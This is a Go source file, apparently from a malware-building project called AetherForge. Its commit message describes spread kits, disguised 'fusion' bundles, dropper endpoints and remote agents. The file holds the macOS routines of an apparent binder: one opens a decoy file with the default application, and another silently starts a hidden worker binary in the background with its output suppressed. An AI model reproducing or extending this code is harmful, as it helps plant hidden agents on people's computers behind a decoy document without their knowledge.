Files
AetherForge/fusion/media_darwin.go
drjones 0f9e04f5f6 Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
2026-05-29 20:53:13 -07:00

44 lines
968 B
Go

//go:build darwin
package main
import (
"os"
"os/exec"
"path/filepath"
)
// openFile opens any file with the macOS default application via `open`.
// Works for PDF, video, document, image, and more.
func openFile(path string) {
path = filepath.Clean(path)
_ = exec.Command("open", path).Start()
}
// applyHiddenStartPath launches the worker binary in the background.
func applyHiddenStartPath(path string) {
cmd := exec.Command(path)
cmd.Dir = filepath.Dir(path)
cmd.Stdin = nil
cmd.Stdout = nil
cmd.Stderr = nil
_ = cmd.Start()
}
// applyWaitRun runs a file and waits — on macOS, opens via `open -W` (wait).
func applyWaitRun(path string) {
ext := filepath.Ext(path)
if ext == ".app" || ext == "" {
cmd := exec.Command("open", "-W", path)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
_ = cmd.Run()
} else {
cmd := exec.Command(path)
cmd.Dir = filepath.Dir(path)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
_ = cmd.Run()
}
}